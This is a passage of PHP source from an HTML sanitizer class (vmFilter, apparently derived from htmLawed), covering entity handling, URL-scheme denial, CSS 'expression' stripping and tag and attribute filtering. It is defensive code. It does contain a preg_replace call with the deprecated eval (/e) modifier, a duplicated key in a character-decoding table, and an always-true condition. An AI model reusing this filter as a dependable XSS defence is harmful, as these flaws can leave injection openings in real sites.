		if(!($v = $C[$n = $t[3] == '-' ? 'comment' : 'cdata'])){
			return $t;
		}
		if($v == 1){
			return '';
		}
		if($n == 'comment'){
			if(substr(($t = preg_replace('`--+`', '-', substr($t, 4, -3))), -1) != ' '){
				$t .= ' ';
			}
		}
		else{$t = substr($t, 1, -1);
		}
		$t = $v == 2 ? str_replace(array('&', '<', '>'), array('&amp;', '&lt;', '&gt;'), $t) : $t;
		return str_replace(array('&', '<', '>'), array("\x03", "\x04", "\x05"), ($n == 'comment' ? "\x01\x02\x04!--$t--\x05\x02\x01" : "\x01\x01\x04$t\x05\x01\x01"));
		// eof
	}

	public static function hl_ent($t){
		// entitity handler
		$C = vmFilter::$C;
		$t = $t[1];
		static $U = array('quot'=>1,'amp'=>1,'lt'=>1,'gt'=>1);
		static $N = array('fnof'=>'402', 'Alpha'=>'913', 'Beta'=>'914', 'Gamma'=>'915', 'Delta'=>'916', 'Epsilon'=>'917', 'Zeta'=>'918', 'Eta'=>'919', 'Theta'=>'920', 'Iota'=>'921', 'Kappa'=>'922', 'Lambda'=>'923', 'Mu'=>'924', 'Nu'=>'925', 'Xi'=>'926', 'Omicron'=>'927', 'Pi'=>'928', 'Rho'=>'929', 'Sigma'=>'931', 'Tau'=>'932', 'Upsilon'=>'933', 'Phi'=>'934', 'Chi'=>'935', 'Psi'=>'936', 'Omega'=>'937', 'alpha'=>'945', 'beta'=>'946', 'gamma'=>'947', 'delta'=>'948', 'epsilon'=>'949', 'zeta'=>'950', 'eta'=>'951', 'theta'=>'952', 'iota'=>'953', 'kappa'=>'954', 'lambda'=>'955', 'mu'=>'956', 'nu'=>'957', 'xi'=>'958', 'omicron'=>'959', 'pi'=>'960', 'rho'=>'961', 'sigmaf'=>'962', 'sigma'=>'963', 'tau'=>'964', 'upsilon'=>'965', 'phi'=>'966', 'chi'=>'967', 'psi'=>'968', 'omega'=>'969', 'thetasym'=>'977', 'upsih'=>'978', 'piv'=>'982', 'bull'=>'8226', 'hellip'=>'8230', 'prime'=>'8242', 'Prime'=>'8243', 'oline'=>'8254', 'frasl'=>'8260', 'weierp'=>'8472', 'image'=>'8465', 'real'=>'8476', 'trade'=>'8482', 'alefsym'=>'8501', 'larr'=>'8592', 'uarr'=>'8593', 'rarr'=>'8594', 'darr'=>'8595', 'harr'=>'8596', 'crarr'=>'8629', 'lArr'=>'8656', 'uArr'=>'8657', 'rArr'=>'8658', 'dArr'=>'8659', 'hArr'=>'8660', 'forall'=>'8704', 'part'=>'8706', 'exist'=>'8707', 'empty'=>'8709', 'nabla'=>'8711', 'isin'=>'8712', 'notin'=>'8713', 'ni'=>'8715', 'prod'=>'8719', 'sum'=>'8721', 'minus'=>'8722', 'lowast'=>'8727', 'radic'=>'8730', 'prop'=>'8733', 'infin'=>'8734', 'ang'=>'8736', 'and'=>'8743', 'or'=>'8744', 'cap'=>'8745', 'cup'=>'8746', 'int'=>'8747', 'there4'=>'8756', 'sim'=>'8764', 'cong'=>'8773', 'asymp'=>'8776', 'ne'=>'8800', 'equiv'=>'8801', 'le'=>'8804', 'ge'=>'8805', 'sub'=>'8834', 'sup'=>'8835', 'nsub'=>'8836', 'sube'=>'8838', 'supe'=>'8839', 'oplus'=>'8853', 'otimes'=>'8855', 'perp'=>'8869', 'sdot'=>'8901', 'lceil'=>'8968', 'rceil'=>'8969', 'lfloor'=>'8970', 'rfloor'=>'8971', 'lang'=>'9001', 'rang'=>'9002', 'loz'=>'9674', 'spades'=>'9824', 'clubs'=>'9827', 'hearts'=>'9829', 'diams'=>'9830', 'apos'=>'39',  'OElig'=>'338', 'oelig'=>'339', 'Scaron'=>'352', 'scaron'=>'353', 'Yuml'=>'376', 'circ'=>'710', 'tilde'=>'732', 'ensp'=>'8194', 'emsp'=>'8195', 'thinsp'=>'8201', 'zwnj'=>'8204', 'zwj'=>'8205', 'lrm'=>'8206', 'rlm'=>'8207', 'ndash'=>'8211', 'mdash'=>'8212', 'lsquo'=>'8216', 'rsquo'=>'8217', 'sbquo'=>'8218', 'ldquo'=>'8220', 'rdquo'=>'8221', 'bdquo'=>'8222', 'dagger'=>'8224', 'Dagger'=>'8225', 'permil'=>'8240', 'lsaquo'=>'8249', 'rsaquo'=>'8250', 'euro'=>'8364', 'nbsp'=>'160', 'iexcl'=>'161', 'cent'=>'162', 'pound'=>'163', 'curren'=>'164', 'yen'=>'165', 'brvbar'=>'166', 'sect'=>'167', 'uml'=>'168', 'copy'=>'169', 'ordf'=>'170', 'laquo'=>'171', 'not'=>'172', 'shy'=>'173', 'reg'=>'174', 'macr'=>'175', 'deg'=>'176', 'plusmn'=>'177', 'sup2'=>'178', 'sup3'=>'179', 'acute'=>'180', 'micro'=>'181', 'para'=>'182', 'middot'=>'183', 'cedil'=>'184', 'sup1'=>'185', 'ordm'=>'186', 'raquo'=>'187', 'frac14'=>'188', 'frac12'=>'189', 'frac34'=>'190', 'iquest'=>'191', 'Agrave'=>'192', 'Aacute'=>'193', 'Acirc'=>'194', 'Atilde'=>'195', 'Auml'=>'196', 'Aring'=>'197', 'AElig'=>'198', 'Ccedil'=>'199', 'Egrave'=>'200', 'Eacute'=>'201', 'Ecirc'=>'202', 'Euml'=>'203', 'Igrave'=>'204', 'Iacute'=>'205', 'Icirc'=>'206', 'Iuml'=>'207', 'ETH'=>'208', 'Ntilde'=>'209', 'Ograve'=>'210', 'Oacute'=>'211', 'Ocirc'=>'212', 'Otilde'=>'213', 'Ouml'=>'214', 'times'=>'215', 'Oslash'=>'216', 'Ugrave'=>'217', 'Uacute'=>'218', 'Ucirc'=>'219', 'Uuml'=>'220', 'Yacute'=>'221', 'THORN'=>'222', 'szlig'=>'223', 'agrave'=>'224', 'aacute'=>'225', 'acirc'=>'226', 'atilde'=>'227', 'auml'=>'228', 'aring'=>'229', 'aelig'=>'230', 'ccedil'=>'231', 'egrave'=>'232', 'eacute'=>'233', 'ecirc'=>'234', 'euml'=>'235', 'igrave'=>'236', 'iacute'=>'237', 'icirc'=>'238', 'iuml'=>'239', 'eth'=>'240', 'ntilde'=>'241', 'ograve'=>'242', 'oacute'=>'243', 'ocirc'=>'244', 'otilde'=>'245', 'ouml'=>'246', 'divide'=>'247', 'oslash'=>'248', 'ugrave'=>'249', 'uacute'=>'250', 'ucirc'=>'251', 'uuml'=>'252', 'yacute'=>'253', 'thorn'=>'254', 'yuml'=>'255');
		if($t[0] != '#'){
			return ($C['and_mark'] ? "\x06" : '&'). (isset($U[$t]) ? $t : (isset($N[$t]) ? (!$C['named_entity'] ? '#'. ($C['hexdec_entity'] > 1 ? 'x'. dechex($N[$t]) : $N[$t]) : $t) : 'amp;'. $t)). ';';
		}
		if(($n = ctype_digit($t = substr($t, 1)) ? intval($t) : hexdec(substr($t, 1))) < 9 or ($n > 13 && $n < 32) or $n == 11 or $n == 12 or ($n > 126 && $n < 160 && $n != 133) or ($n > 55295 && ($n < 57344 or ($n > 64975 && $n < 64992) or $n == 65534 or $n == 65535 or $n > 1114111))){
			return ($C['and_mark'] ? "\x06" : '&'). "amp;#{$t};";
		}
		return ($C['and_mark'] ? "\x06" : '&'). '#'. (((ctype_digit($t) && $C['hexdec_entity'] < 2) or !$C['hexdec_entity']) ? $n : 'x'. dechex($n)). ';';
		// eof
	}

	public static function hl_prot($p, $c=null){
		// check URL scheme
		$C = vmFilter::$C;
		$b = $a = '';
		if($c == null){
			$c = 'style'; $b = $p[1]; $a = $p[3]; $p = trim($p[2]);
		}
		$c = isset($C['schemes'][$c]) ? $C['schemes'][$c] : $C['schemes']['*'];
		static $d = 'denied:';
		if(isset($c['!']) && substr($p, 0, 7) != $d){
			$p = "$d$p";
		}
		if(isset($c['*']) or !strcspn($p, '#?;') or (substr($p, 0, 7) == $d)){
			return "{$b}{$p}{$a}";
		} // All ok, frag, query, param
		if(preg_match('`^([a-z\d\-+.&#; ]+?)(:|&#(58|x3a);|%3a|\\\\0{0,4}3a).`i', $p, $m) && !isset($c[strtolower($m[1])])){
			// Denied prot
			return "{$b}{$d}{$p}{$a}";
		}
		if($C['abs_url']){
			if($C['abs_url'] == -1 && strpos($p, $C['base_url']) === 0){
				// Make url rel
				$p = substr($p, strlen($C['base_url']));
			}elseif(empty($m[1])){
				// Make URL abs
				if(substr($p, 0, 2) == '//'){
					$p = substr($C['base_url'], 0, strpos($C['base_url'], ':')+1). $p;
				}
				elseif($p[0] == '/'){
					$p = preg_replace('`(^.+?://[^/]+)(.*)`', '$1', $C['base_url']). $p;
				}
				elseif(strcspn($p, './')){
					$p = $C['base_url']. $p;
				}
				else{
					preg_match('`^([a-zA-Z\d\-+.]+://[^/]+)(.*)`', $C['base_url'], $m);
					$p = preg_replace('`(?<=/)\./`', '', $m[2]. $p);
					while(preg_match('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', $p)){
						$p = preg_replace('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', '', $p);
					}
					$p = $m[1]. $p;
				}
			}
		}
		return "{$b}{$p}{$a}";
		// eof
	}

	public static function hl_regex($p){
		// ?regex
		if(empty($p)){
			return 0;
		}
		if($t = ini_get('track_errors')){
			$o = isset($php_errormsg) ? $php_errormsg : null;
		}
		else{ini_set('track_errors', 1);
		}
		unset($php_errormsg);
		if(($d = ini_get('display_errors'))){
			ini_set('display_errors', 0);
		}
		preg_match($p, '');
		if($d){
			ini_set('display_errors', 1);
		}
		$r = isset($php_errormsg) ? 0 : 1;
		if($t){
			$php_errormsg = isset($o) ? $o : null;
		}
		else{ini_set('track_errors', 0);
		}
		return $r;
		// eof
	}

	public static function hl_spec($t){
		// final $spec
		$s = array();
		$t = str_replace(array("\t", "\r", "\n", ' '), '', preg_replace('/"(?>(`.|[^"])*)"/sme', 'substr(str_replace(array(";", "|", "~", " ", ",", "/", "(", ")", \'`"\'), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\""), "$0"), 1, -1)', trim($t)));
		for($i = count(($t = explode(';', $t))); --$i>=0;){
			$w = $t[$i];
			if(empty($w) or ($e = strpos($w, '=')) === false or !strlen(($a =  substr($w, $e+1)))){
				continue;
			}
			$y = $n = array();
			foreach(explode(',', $a) as $v){
				if(!preg_match('`^([a-z:\-\*]+)(?:\((.*?)\))?`i', $v, $m)){
					continue;
				}
				if(($x = strtolower($m[1])) == '-*'){
					$n['*'] = 1; continue;
				}
				if($x[0] == '-'){
					$n[substr($x, 1)] = 1; continue;
				}
				if(!isset($m[2])){
					$y[$x] = 1; continue;
				}
				foreach(explode('/', $m[2]) as $m){
					if(empty($m) or ($p = strpos($m, '=')) == 0 or $p < 5){
						$y[$x] = 1; continue;
					}
					$y[$x][strtolower(substr($m, 0, $p))] = str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08"), array(";", "|", "~", " ", ",", "/", "(", ")"), substr($m, $p+1));
				}
				if(isset($y[$x]['match']) && !vmFilter::hl_regex($y[$x]['match'])){
					unset($y[$x]['match']);
				}
				if(isset($y[$x]['nomatch']) && !vmFilter::hl_regex($y[$x]['nomatch'])){
					unset($y[$x]['nomatch']);
				}
			}
			if(!count($y) && !count($n)){
				continue;
			}
			foreach(explode(',', substr($w, 0, $e)) as $v){
				if(!strlen(($v = strtolower($v)))){
					continue;
				}
				if(count($y)){
					$s[$v] = $y;
				}
				if(count($n)){
					$s[$v]['n'] = $n;
				}
			}
		}
		return $s;
		// eof
	}

	public static function hl_tag($t){
		// tag/attribute handler
		$C = vmFilter::$C;
		$t = $t[0];
		// invalid < >
		if($t == '< '){
			return '&lt; ';
		}
		if($t == '>'){
			return '&gt;';
		}
		if(!preg_match('`^<(/?)([a-zA-Z][a-zA-Z1-6]*)([^>]*?)\s?>$`m', $t, $m)){
			return str_replace(array('<', '>'), array('&lt;', '&gt;'), $t);
		}elseif(!isset($C['elements'][($e = strtolower($m[2]))])){
			return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('&lt;', '&gt;'), $t) : '');
		}
		// attr string
		$a = str_replace(array("\n", "\r", "\t"), ' ', trim($m[3]));
		// tag transform
		static $eD = array('applet'=>1, 'center'=>1, 'dir'=>1, 'embed'=>1, 'font'=>1, 'isindex'=>1, 'menu'=>1, 's'=>1, 'strike'=>1, 'u'=>1); // Deprecated
		if($C['make_tag_strict'] && isset($eD[$e])){
			$trt = vmFilter::hl_tag2($e, $a, $C['make_tag_strict']);
			if(!$e){
				return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('&lt;', '&gt;'), $t) : '');
			}
		}
		// close tag
		static $eE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty ele
		if(!empty($m[1])){
			return (!isset($eE[$e]) ? "</$e>" : (($C['keep_bad'])%2 ? str_replace(array('<', '>'), array('&lt;', '&gt;'), $t) : ''));
		}

		// open tag & attr
		static $aN = array('abbr'=>array('td'=>1, 'th'=>1), 'accept-charset'=>array('form'=>1), 'accept'=>array('form'=>1, 'input'=>1), 'accesskey'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'legend'=>1, 'textarea'=>1), 'action'=>array('form'=>1), 'align'=>array('caption'=>1, 'embed'=>1, 'applet'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'legend'=>1, 'table'=>1, 'hr'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'p'=>1, 'col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'alt'=>array('applet'=>1, 'area'=>1, 'img'=>1, 'input'=>1), 'archive'=>array('applet'=>1, 'object'=>1), 'axis'=>array('td'=>1, 'th'=>1), 'bgcolor'=>array('embed'=>1, 'table'=>1, 'tr'=>1, 'td'=>1, 'th'=>1), 'border'=>array('table'=>1, 'img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'cellpadding'=>array('table'=>1), 'cellspacing'=>array('table'=>1), 'char'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charoff'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charset'=>array('a'=>1, 'script'=>1), 'checked'=>array('input'=>1), 'cite'=>array('blockquote'=>1, 'q'=>1, 'del'=>1, 'ins'=>1), 'classid'=>array('object'=>1), 'clear'=>array('br'=>1), 'code'=>array('applet'=>1), 'codebase'=>array('object'=>1, 'applet'=>1), 'codetype'=>array('object'=>1), 'color'=>array('font'=>1), 'cols'=>array('textarea'=>1), 'colspan'=>array('td'=>1, 'th'=>1), 'compact'=>array('dir'=>1, 'dl'=>1, 'menu'=>1, 'ol'=>1, 'ul'=>1), 'coords'=>array('area'=>1, 'a'=>1), 'data'=>array('object'=>1), 'datetime'=>array('del'=>1, 'ins'=>1), 'declare'=>array('object'=>1), 'defer'=>array('script'=>1), 'dir'=>array('bdo'=>1), 'disabled'=>array('button'=>1, 'input'=>1, 'optgroup'=>1, 'option'=>1, 'select'=>1, 'textarea'=>1), 'enctype'=>array('form'=>1), 'face'=>array('font'=>1), 'for'=>array('label'=>1), 'frame'=>array('table'=>1), 'frameborder'=>array('iframe'=>1), 'headers'=>array('td'=>1, 'th'=>1), 'height'=>array('embed'=>1, 'iframe'=>1, 'td'=>1, 'th'=>1, 'img'=>1, 'object'=>1, 'applet'=>1), 'href'=>array('a'=>1, 'area'=>1), 'hreflang'=>array('a'=>1), 'hspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'ismap'=>array('img'=>1, 'input'=>1), 'label'=>array('option'=>1, 'optgroup'=>1), 'language'=>array('script'=>1), 'longdesc'=>array('img'=>1, 'iframe'=>1), 'marginheight'=>array('iframe'=>1), 'marginwidth'=>array('iframe'=>1), 'maxlength'=>array('input'=>1), 'method'=>array('form'=>1), 'model'=>array('embed'=>1), 'multiple'=>array('select'=>1), 'name'=>array('button'=>1, 'embed'=>1, 'textarea'=>1, 'applet'=>1, 'select'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'a'=>1, 'input'=>1, 'object'=>1, 'map'=>1, 'param'=>1), 'nohref'=>array('area'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'object'=>array('applet'=>1), 'onblur'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onchange'=>array('input'=>1, 'select'=>1, 'textarea'=>1), 'onfocus'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onreset'=>array('form'=>1), 'onselect'=>array('input'=>1, 'textarea'=>1), 'onsubmit'=>array('form'=>1), 'pluginspage'=>array('embed'=>1), 'pluginurl'=>array('embed'=>1), 'prompt'=>array('isindex'=>1), 'readonly'=>array('textarea'=>1, 'input'=>1), 'rel'=>array('a'=>1), 'rev'=>array('a'=>1), 'rows'=>array('textarea'=>1), 'rowspan'=>array('td'=>1, 'th'=>1), 'rules'=>array('table'=>1), 'scope'=>array('td'=>1, 'th'=>1), 'scrolling'=>array('iframe'=>1), 'selected'=>array('option'=>1), 'shape'=>array('area'=>1, 'a'=>1), 'size'=>array('hr'=>1, 'font'=>1, 'input'=>1, 'select'=>1), 'span'=>array('col'=>1, 'colgroup'=>1), 'src'=>array('embed'=>1, 'script'=>1, 'input'=>1, 'iframe'=>1, 'img'=>1), 'standby'=>array('object'=>1), 'start'=>array('ol'=>1), 'summary'=>array('table'=>1), 'tabindex'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'object'=>1, 'select'=>1, 'textarea'=>1), 'target'=>array('a'=>1, 'area'=>1, 'form'=>1), 'type'=>array('a'=>1, 'embed'=>1, 'object'=>1, 'param'=>1, 'script'=>1, 'input'=>1, 'li'=>1, 'ol'=>1, 'ul'=>1, 'button'=>1), 'usemap'=>array('img'=>1, 'input'=>1, 'object'=>1), 'valign'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'value'=>array('input'=>1, 'option'=>1, 'param'=>1, 'button'=>1, 'li'=>1), 'valuetype'=>array('param'=>1), 'vspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'width'=>array('embed'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'object'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'applet'=>1, 'col'=>1, 'colgroup'=>1, 'pre'=>1), 'wmode'=>array('embed'=>1), 'xml:space'=>array('pre'=>1, 'script'=>1, 'style'=>1)); // Ele-specific
		static $aNE = array('checked'=>1, 'compact'=>1, 'declare'=>1, 'defer'=>1, 'disabled'=>1, 'ismap'=>1, 'multiple'=>1, 'nohref'=>1, 'noresize'=>1, 'noshade'=>1, 'nowrap'=>1, 'readonly'=>1, 'selected'=>1); // Empty
		static $aNP = array('action'=>1, 'cite'=>1, 'classid'=>1, 'codebase'=>1, 'data'=>1, 'href'=>1, 'longdesc'=>1, 'model'=>1, 'pluginspage'=>1, 'pluginurl'=>1, 'usemap'=>1); // Need scheme check; excludes style, on* & src
		static $aNU = array('class'=>array('param'=>1, 'script'=>1), 'dir'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'id'=>array('script'=>1), 'lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'xml:lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'onclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'ondblclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeydown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeypress'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeyup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousedown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousemove'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseout'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseover'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'style'=>array('param'=>1, 'script'=>1), 'title'=>array('param'=>1, 'script'=>1)); // Univ & exceptions

		if($C['lc_std_val']){
			// predef attr vals for $eAL & $aNE ele
			static $aNL = array('all'=>1, 'baseline'=>1, 'bottom'=>1, 'button'=>1, 'center'=>1, 'char'=>1, 'checkbox'=>1, 'circle'=>1, 'col'=>1, 'colgroup'=>1, 'cols'=>1, 'data'=>1, 'default'=>1, 'file'=>1, 'get'=>1, 'groups'=>1, 'hidden'=>1, 'image'=>1, 'justify'=>1, 'left'=>1, 'ltr'=>1, 'middle'=>1, 'none'=>1, 'object'=>1, 'password'=>1, 'poly'=>1, 'post'=>1, 'preserve'=>1, 'radio'=>1, 'rect'=>1, 'ref'=>1, 'reset'=>1, 'right'=>1, 'row'=>1, 'rowgroup'=>1, 'rows'=>1, 'rtl'=>1, 'submit'=>1, 'text'=>1, 'top'=>1);
			static $eAL = array('a'=>1, 'area'=>1, 'bdo'=>1, 'button'=>1, 'col'=>1, 'form'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'xml:space'=>1);
			$lcase = isset($eAL[$e]) ? 1 : 0;
		}

		$depTr = 0;
		if($C['no_deprecated_attr']){
			// dep attr:applicable ele
			static $aND = array('align'=>array('caption'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'object'=>1, 'p'=>1, 'table'=>1), 'bgcolor'=>array('table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1), 'border'=>array('img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'clear'=>array('br'=>1), 'compact'=>array('dl'=>1, 'ol'=>1, 'ul'=>1), 'height'=>array('td'=>1, 'th'=>1), 'hspace'=>array('img'=>1, 'object'=>1), 'language'=>array('script'=>1), 'name'=>array('a'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'map'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'size'=>array('hr'=>1), 'start'=>array('ol'=>1), 'type'=>array('li'=>1, 'ol'=>1, 'ul'=>1), 'value'=>array('li'=>1), 'vspace'=>array('img'=>1, 'object'=>1), 'width'=>array('hr'=>1, 'pre'=>1, 'td'=>1, 'th'=>1));
			static $eAD = array('a'=>1, 'br'=>1, 'caption'=>1, 'div'=>1, 'dl'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'object'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'script'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1, 'ul'=>1);
			$depTr = isset($eAD[$e]) ? 1 : 0;
		}

		// attr name-vals
		if(strpos($a, "\x01") !== false){
			$a = preg_replace('`\x01[^\x01]*\x01`', '', $a);
		} // No comment/CDATA sec
		$mode = 0; $a = trim($a, ' /'); $aA = array();
		while(strlen($a)){
			$w = 0;
			switch($mode){
				case 0: // Name
					if(preg_match('`^[a-zA-Z][\-a-zA-Z:]+`', $a, $m)){
						$nm = strtolower($m[0]);
						$w = $mode = 1; $a = ltrim(substr_replace($a, '', 0, strlen($m[0])));
					}
					break; case 1:
						if($a[0] == '='){
							// =
							$w = 1; $mode = 2; $a = ltrim($a, '= ');
						}else{ // No val
							$w = 1; $mode = 0; $a = ltrim($a);
							$aA[$nm] = '';
						}
						break; case 2: // Val
							if(preg_match('`^"[^"]*"`', $a, $m) or preg_match("`^'[^']*'`", $a, $m) or preg_match("`^\s*[^\s\"']+`", $a, $m)){
								$m = $m[0]; $w = 1; $mode = 0; $a = ltrim(substr_replace($a, '', 0, strlen($m)));
								$aA[$nm] = trim(($m[0] == '"' or $m[0] == '\'') ? substr($m, 1, -1) : $m);
							}
							break;
			}
			if($w == 0){
				// Parse errs, deal with space, " & '
				$a = preg_replace('`^(?:"[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*`', '', $a);
				$mode = 0;
			}
		}
		if($mode == 1){
			$aA[$nm] = '';
		}

		// clean attrs
		$S = vmFilter::$S;
		$rl = isset($S[$e]) ? $S[$e] : array();
		$a = array(); $nfr = 0;
		foreach($aA as $k=>$v){
			if(((isset($C['deny_attribute']['*']) ? isset($C['deny_attribute'][$k]) : !isset($C['deny_attribute'][$k])) or isset($rl[$k])) && ((!isset($rl['n'][$k]) && !isset($rl['n']['*'])) or isset($rl[$k])) && (isset($aN[$k][$e]) or (isset($aNU[$k]) && !isset($aNU[$k][$e])))){
				if(isset($aNE[$k])){
					$v = $k;
				}
				elseif(!empty($lcase) && (($e != 'button' or $e != 'input') or $k == 'type')){
					// Rather loose but ?not cause issues
					$v = (isset($aNL[($v2 = strtolower($v))])) ? $v2 : $v;
				}
				if($k == 'style' && !$C['style_pass']){
					if(false !== strpos($v, '&#')){
						static $sC = array('&#x20;'=>' ', '&#32;'=>' ', '&#x45;'=>'e', '&#69;'=>'e', '&#x65;'=>'e', '&#101;'=>'e', '&#x58;'=>'x', '&#88;'=>'x', '&#x78;'=>'x', '&#120;'=>'x', '&#x50;'=>'p', '&#80;'=>'p', '&#x70;'=>'p', '&#112;'=>'p', '&#x53;'=>'s', '&#83;'=>'s', '&#x73;'=>'s', '&#115;'=>'s', '&#x49;'=>'i', '&#73;'=>'i', '&#x69;'=>'i', '&#105;'=>'i', '&#x4f;'=>'o', '&#79;'=>'o', '&#x6f;'=>'o', '&#111;'=>'o', '&#x4e;'=>'n', '&#78;'=>'n', '&#x6e;'=>'n', '&#110;'=>'n', '&#x55;'=>'u', '&#85;'=>'u', '&#x75;'=>'u', '&#117;'=>'u', '&#x52;'=>'r', '&#82;'=>'r', '&#x72;'=>'r', '&#114;'=>'r', '&#x4c;'=>'l', '&#76;'=>'l', '&#x6c;'=>'l', '&#108;'=>'l', '&#x28;'=>'(', '&#40;'=>'(', '&#x29;'=>')', '&#41;'=>')', '&#x20;'=>':', '&#32;'=>':', '&#x22;'=>'"', '&#34;'=>'"', '&#x27;'=>"'", '&#39;'=>"'", '&#x2f;'=>'/', '&#47;'=>'/', '&#x2a;'=>'*', '&#42;'=>'*', '&#x5c;'=>'\\', '&#92;'=>'\\');
						$v = strtr($v, $sC);
					}
					$v = preg_replace_callback('`(url(?:\()(?: )*(?:\'|"|&(?:quot|apos);)?)(.+?)((?:\'|"|&(?:quot|apos);)?(?: )*(?:\)))`iS', 'vmFilter::hl_prot', $v);
					$v = !$C['css_expression'] ? preg_replace('`expression`i', ' ', preg_replace('`\\\\\S|(/|(%2f))(\*|(%2a))`i', ' ', $v)) : $v;
				}elseif(isset($aNP[$k]) or strpos($k, 'src') !== false or $k[0] == 'o'){
					$v = str_replace("\xad", ' ', (strpos($v, '&') !== false ? str_replace(array('&#xad;', '&#173;', '&shy;'), ' ', $v) : $v));
					$v = vmFilter::hl_prot($v, $k);
					if($k == 'href'){
						// X-spam
						if($C['anti_mail_spam'] && strpos($v, 'mailto:') === 0){
							$v = str_replace('@', htmlspecialchars($C['anti_mail_spam']), $v);
						}elseif($C['anti_link_spam']){
							$r1 = $C['anti_link_spam'][1];
							if(!empty($r1) && preg_match($r1, $v)){
								continue;
							}
							$r0 = $C['anti_link_spam'][0];
							if(!empty($r0) && preg_match($r0, $v)){
								if(isset($a['rel'])){
									if(!preg_match('`\bnofollow\b`i', $a['rel'])){
										$a['rel'] .= ' nofollow';
									}
								}elseif(isset($aA['rel'])){
									if(!preg_match('`\bnofollow\b`i', $aA['rel'])){
										$nfr = 1;
									}
								}else{$a['rel'] = 'nofollow';
								}
							}
						}
					}
				}
				if(isset($rl[$k]) && is_array($rl[$k]) && ($v = vmFilter::hl_attrval($v, $rl[$k])) === 0){
					continue;
				}
				$a[$k] = str_replace('"', '&quot;', $v);
			}
